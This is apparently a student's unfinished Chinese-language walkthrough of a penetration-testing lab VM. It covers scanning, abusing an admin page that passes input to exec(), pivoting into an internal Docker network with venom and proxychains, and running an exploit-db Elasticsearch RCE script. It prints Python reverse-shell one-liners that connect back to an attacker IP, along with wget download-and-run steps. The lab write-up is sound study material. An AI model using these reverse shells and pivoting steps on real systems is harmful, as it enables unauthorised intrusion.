前言:
深陷学校水课和高数中期的漩涡之中,几乎没时间继续打靶。打靶(MoraityCorp)过程也困难重重,令人b溃。但是哥们好歹没放弃。现在是5月8日,计划5月11日完成,看看哥们有没有实力。
———李仁间想念月圆
5月9日20时许,靶机出现了不可解决的致命问题,而且我怀疑问题出在官网文件本身,我的打靶计划戛然而止。
一切如同我匆忙结束wp时的留言一样
“像是命运“。
我会在该博客末尾插入我崩殂的last writeup,花了很长时间,同时位于开头关于“如何解决靶机ip无法扫描“的问题我认为值得一看,算是一个对自己难以履行诺言的所作的理由。
———李仁间想念月圆
-1:靶机配置与前期准备
官方网站:
注意修改网络适配器为NAT模式!
这个靶机非常友好,可以说是即装即用。但如果不幸的,我们的小白uu无法扫描ip,可以移步到我的上一篇moneybox的文章开头看看,也可以看本篇末尾插入的我崩殂的上一个wp(苦笑
虚拟机环境:VMware Workstation,但是靶机作者推荐 Virtual box
靶机难度:中等偏难 对小白很有挑战性
准备工具: kali、Xshell(可以不用,我只是拿来连接一下kali)、dirsearch(kali)、firefox浏览器(其他也可)、venom、
0:信息收集
再三重申,除去授权以外,信息收集就是做渗透时最最重要的!能收集越多的信息就意味着能发现越多的漏洞!
首先直~接打开靶机
“Ubuntu”的字样意味着它运行的系统为Linux,所以这里我们可使用小白友好的kali作为攻击机。
打开kali,首先对靶机进行ip确定,输入命令
arp-scan -l
发现目标ip为192.168.233.140
接下来,进行常规的端口扫描
输入nmap命令
nmap 192.168.233.140
我们只发现使用22端口的ssh服务以及使用5000的upnp服务。upnp也是闻所未闻,令人疑惑。查询后发现是一种网络协议。
接下来,为了进一步了解端口运行服务,我们输入命令
nmap -p22,5000 -sV 192.168.233.140
由此,我们了解到了22端口的ssh服务版本,以及运行于5000端口之上的http服务,也就是说,我们的首选入手点,就是该open的http。同时,5000端口的框架基于python2.7.15构建,这也许对后续渗透有帮助。自此,前期的信息收集到此告一段落,我们可以正式开始渗透了!
1:5000端口
咱们先登陆5000端口进去看看
大意如下
我们可以先在留言框内输点东西测试一下
输入 test
留言框内容直接回显到网页上
再输入aaa试试
发现文段不够长
那么再输入aaaa
回显成功!
这意味着这个留言框的文字上传下限为四个字符。但是暂时不知道有啥用。
是我我会直接万能密码一手,但是太小白了。真正的糕手都会先选择F12看看源代码。
什么也看不出来,更小白了。
但通过上次moneybox的经验,我们可以尝试挖掘一下网站的子域名,来看看有没有隐藏的目录和文件
在有dirsearch的kali中输入命令
dirsearch -u http://192.168.233.140:5000
通过扫描,我们发现了一个/admin的路径
那我们就在刚刚扫描的url后添加/admin访问看看
网页大意
我们似乎需要输入一些代码,并提交给 exec() 函数去验证执行开启某些某些服务。
这里呢,结合我们之前已知的 python 框架,我们可以尝试操作一下 反弹shell
笔记区:什么是反弹shell?
反弹shell,就是攻击机监听在某个TCP/UDP端口为服务端,目标机主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机。
任意网站搜索python的反弹shell,复制一下
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.1",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
然后修改里面的ip(kali)和端口(监听)信息(后期提示:先别复制我的)
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.xxx.xxx",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
修改成功后,先在kali中开启本地端口1234监听,输入代码
nc -nvlp 1234
开启后,在/admin页面提交我们的shell(后期友情提示,先别把上面的代码复制进去)
再返回kali
失败啦!没反应!超!
经过多方求助,您猜怎么着?
这个靶场的反弹shell,需要去掉一点东西,我认为是前文提到的exec() 函数自己包含了小框架,所以解决方式是改成如下的代码——
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.xxx.xxx",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
网页提交,再返回kali
啊哈哈哈!终于连上了!
接下来,我们将针对这个靶机的内网进行渗透
首先,我们 ls 一下目录
其中,我们可以发现一个很可能是docker容器文件的东西——Dockerfile
Docker容器文件的存在,可能意味着这个靶机可能本质上是一宿主机的复制。只有对宿主机进行渗透,我们才能算对内网进行渗透。
我们可以先打开验证一下docker文件
以上我们可以发现一些标准的docker部署流程,包括其搭建、复制以及启动 等
所以我们有理由相信,我们需要通过该靶机找到宿主,从而渗透内网
我们可以用以下方法直接验证docker容器
靶机输入命令
cat /proc/1/cgroup
当如图出现docker文件以及哈希值字符串时,我们就可以确定这一定是一个docker容器系统!
宿主机大概率与靶机处在同一网段下,所以我们可以先查询靶机网卡ip,输入
ip a
如图即为该靶机的ip,而与我们原先扫描出的192.168.233.140不同,这也侧面证明了docker容器的存在
2:主机发现、服务挂载与渗透!
那么接下来,我们进行主机发现。想要对主机ping,但是子网掩码有16位,理论上存在65535个可能,
所以在这里,我们可以使用一个简单的脚本来自动ping命令(这里仅扫描了1到10)
for i in $(seq 1 10); do ping -c 1 172.17.0.$i done
如图,我们ping通了1、2、3三个ip
接下来,为了与这两个ip建立联系,我们需要使用工具venom。我已经部署完成,并且移动到了桌面
打开文件夹
由于前文已经知道靶机的操作系统与版本,了为了方便操作,我们将文件中靶机连接的文件agent_linux_x64改为a;
新开一个终端,进入到venom的目录
打开指定服务端文件并开启端口侦听建立反弹链接
./admin_linux_x64 -lport 9999
接下来我们再开一个终端,在venom路径中启用python3模块打开http服务侦听80端口(图片显示不一样,跟下面代码走)
python3 -m http.server 80
这样我们就在kali启动了一个http 80服务
接下来,我们就可以在客户机使用 wget 连接这个80端口服务并且将venom的a文件下载下来
wget http://192.168.xxx.xxx/a
可以ls 一下看看下载成功没有
然后我们执行命令给文件a运行权限
chmod +x a
紧接着执行它,并且连接kali指定的监听端口
./a rhost 192.168.233.129 -rport 9999
接着输入建立联系
./a -rhost 192.168.233.129 -rport 9999
建立成功!
接下来回到服务器端查看接收信息
回到使用venom开启9999监听的终端,使用命令
show
查看连接的媒体
可以看出已经有一个节点连接上
接下来 我们使用命令连接该节点
goto 1
接下来,我们在这个节点继续打开1080监听端口
socks 1080
这样我们就成功在kali打开了socks的1080代理,至此,所有的服务端口都挂载完毕。
回到python运行的http终端,shift+ctrl+c,再输入命令用proxy集合挂载socks、nmap等服务
vi /etc/proxychains4.conf
进入后,在配置文件底端按下 i 修改配置
exc结束修改,输入:wq!保存退出
终于,我们可以正式开始对内网进行渗透啦!我快挂载疯啦!AAAAAh!
在挂载proxychain的情况下使用命令扫描内网ip
proxychains nmap -Pn -sT 172.17.0.1
一阵疯狂的代码跳动过后,代码执行成功!
我们可以发现,1号ip开放的端口服务和原始靶机一摸一样!
我们继续对1号进行服务版本的扫描
proxychains nmap -p22,5000 -Pn -sT -sV 172.17.0.1
扫描结果果然和原靶机的一模一样!
我们可以在proxy插件代理的情况下访问内网1号ip的5000端口,可以发现与原靶机一模一样!甚至可以看到原来测试上传的数据!(可以自己验证)
也就是说,1号ip即为靶机的宿主机!找到目标!
同样的操作,我们对2号ip也做一遍
proxychains nmap -Pn -sT 172.17.0.2
我们发现了9200端口
再对该端口进行应用类型和版本扫描
proxychains nmap -Pn -sT -p9200 -sV 172.17.0.2
发现该端口运行着Elasticsearch REST API 1.4.2服务,而该服务在历史版本中曾有过数次重大的bug,包括远程执行!
所以我们有理由认为这里存在漏洞,并且可以利用。
使用命令查找指定漏洞(干,5.11的零点到了)
searchsploit Elasticsearch
其中前两个搜索结果都是远程代码执行
那么,我们可以将path框内的脚本挨个复制下来跑一跑,看看能不能攻破它
操作第一个复制到当目录下,命令
cp /usr/share/exploitdb/exploits/linux/remote/36337.py .
然后查看它
vi 36337.py
(这个页面效果还有点好看。。。。。。)
我们可以在开头发现该脚本运行于python2环境,所以退出并运行代码
proxychains python2 36337.py 172.17.0.2
执行成功之后,我们用id命令提权root
打到这个地方出问题了。出现了这个靶机不应该出现的错误。
心态也因为一些原因,出现了不可消除的影响。靶机问题和心态问题出现,前后不超过五分钟。
与前文相同
X:“像是命运”
问老师也无果。老师建议我删机从头来,可回炉重造完不成我5.11的诺言。故在此暂时截稿,后续打到这里,我会继续更新。感谢支持,望君周知!这是我这辈子第一次向别人展示一个未完成的作品,它会完整的!上一个moraity_crop也会完整的!
————李仁间想念月圆